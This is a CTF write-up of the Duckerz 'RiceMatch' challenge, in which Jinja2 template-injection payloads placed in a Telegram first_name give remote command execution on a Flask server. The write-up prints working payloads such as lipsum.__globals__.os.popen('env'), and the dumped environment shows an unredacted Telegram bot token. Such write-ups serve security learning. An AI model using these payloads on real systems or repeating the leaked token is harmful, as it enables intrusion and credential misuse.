RiceMatch
RiceMatch
Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: env_variable_leak, lipsum_globals_rce, render_template_string_abuse, ssti_jinja2, telegram_firstname_injection
Summary
Task: Telegram Mini App (Tinder-style) with Flask/Jinja2 backend, user profile cards rendered server-side. Solution: SSTI via Telegram first_name field - changed name to Jinja2 payload, Telegram signed it in initData, server rendered it without escaping, leaked FLAG from environment variables.
RiceMatch --- Duckerz CTF
Description
Это приложение телеграм бот поиск трудовой партнер китай!
- Bot: @RiceMatch_bot
- URL: https://ricematch.tasks.duckerz.ru/
- Authors: qookieFaitPipi, bazber
- Solved by: 48 teams
- task_id: 130
Telegram Mini App in Tinder style ("Chinder" = China + Tinder) for swiping profiles of Chinese labor partners.
Architecture
Telegram Bot (@RiceMatch_bot)
└── /start → "Open Mini App" button
└── https://ricematch.tasks.duckerz.ru/
├── Frontend: main.js (Tinder-like swipe UI)
└── Backend: nginx → Flask (127.0.0.1:30029)
└── SQLite: /app/database/ricematch.db
- Python 3.11.14, Flask in production mode
- Docker container (hostname: cf339784e60c)
API Endpoints
Only 2 endpoints:
1. POST /api/get_data
- Auth:
Authorization: tma <Telegram_initData> - Response: JSON with fields:
cards_html— array of HTML profile cards for swipingprofile_card_html— HTML card of the user themselvesok— boolean
2. GET /api/get_more_cards
- Auth: not required
- Response: additional cards for infinite scrolling
Analysis
Reconnaissance
- Opened Mini App, intercepted API request in DevTools
- Analyzed frontend:
main.jsimplements Tinder-like swipe UI, calls only 2 API endpoints - Discovered internal URL leak in profile card HTML:
url(http://127.0.0.1:30029/static/placeholder.png)— internal Flask server address - Fuzzing endpoints with ffuf (common.txt, api-endpoints.txt) — confirmed only 2 endpoints exist
- Testing initData validation — strict HMAC-SHA256 validation, impossible to forge without bot token
- Testing HTTP Parameter Pollution, IDOR, different Content-Types — all unsuccessful
- Collected 250+ unique bio cards — flag not hidden in content
- Checked database files, config files, .git, .env — all 404
- Bot interaction — responds only to /start, ignores photos, URLs, all other messages
Key Observation
Server returns pre-rendered HTML cards via API. Profile card contains <h2>Sergey</h2>, where "Sergey" is the user's first_name from validated initData.
Since the server uses Flask/Jinja2 and HTML is rendered server-side, if render_template_string() is used without escaping, first_name can be interpreted as a Jinja2 template expression.
Critical Realization
Although we cannot forge initData (it's cryptographically signed by Telegram), we CAN change our real Telegram name to a string with Jinja2 syntax. Telegram will sign this new name in initData, and the server will accept it as valid.
Solution
Step 1: Confirming SSTI
Changed first_name in Telegram to {{7*7}}:
Telegram first_name: {{7*7}}
→ Opened Mini App
→ Profile card showed: 49
→ SSTI confirmed!
Step 2: Exploring the Filesystem
Telegram first_name: {{lipsum.__globals__.os.popen('ls /').read()}}
→ app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
Step 3: Searching for Flag in Files
Telegram first_name: {{lipsum.__globals__.os.popen('cat /flag*').read()}}
→ (empty) — flag not in a file
Step 4: Working Directory
Telegram first_name: {{lipsum.__globals__.os.popen('pwd').read()}}
→ /app
Step 5: Environment Variables (FLAG!)
Telegram first_name: {{lipsum.__globals__.os.popen('env').read()}}
→ ...FLAG=DUCKERZ{REDACTED}...
Additional Data from env
BOT_TOKEN=8035382133:AAExiNdi2Mq9LopcS7Nf1WUHdDKB86y3KQM
DATABASE_URL=sqlite:///app/database/ricematch.db
WEB_APP_URL=https://ricematch.tasks.duckerz.ru
FLASK_APP=app.py
HOSTNAME=cf339784e60c
Key Payloads
All payloads <= 64 characters (Telegram first_name limit):
| Payload | Result | Length |
|---|---|---|
{{7*7}} | 49 | 7 |
{{lipsum.__globals__.os.popen('pwd').read()}} | /app | 48 |
{{lipsum.__globals__.os.popen('ls /').read()}} | filesystem listing | 49 |
{{lipsum.__globals__.os.popen('env').read()}} | FLAG=DUCKERZ{...} | 48 |
Why This Works
- Telegram first_name allows up to 64 characters — enough for Jinja2 SSTI payloads
- Telegram cryptographically signs any username (including template syntax) in initData
- Server correctly validates initData signature, but then uses
first_nameinrender_template_string()without escaping lipsum— built-in Jinja2 global object providing access to Python'sosmodule via__globals__
Attack Chain
Change Telegram name → {{payload}}
↓
Telegram signs initData with new name
↓
Mini App sends initData to server
↓
Server validates signature (OK — signature is legitimate)
↓
Server extracts first_name = "{{payload}}"
↓
render_template_string(template_with_firstname)
↓
Jinja2 interprets {{payload}} → RCE
Lessons
- Trusted source != safe data. initData is cryptographically valid, but contains user-controlled fields (first_name, last_name, username)
- Telegram first_name — unexpected attack vector. 64 characters is enough for full RCE via SSTI
- Always escape user data before rendering in templates, even if it comes from a "trusted" API
render_template_string()is dangerous — preferrender_template()with template files and Jinja2 auto-escaping- Flag in env variables — standard practice in Docker CTF, always check
envafter getting RCE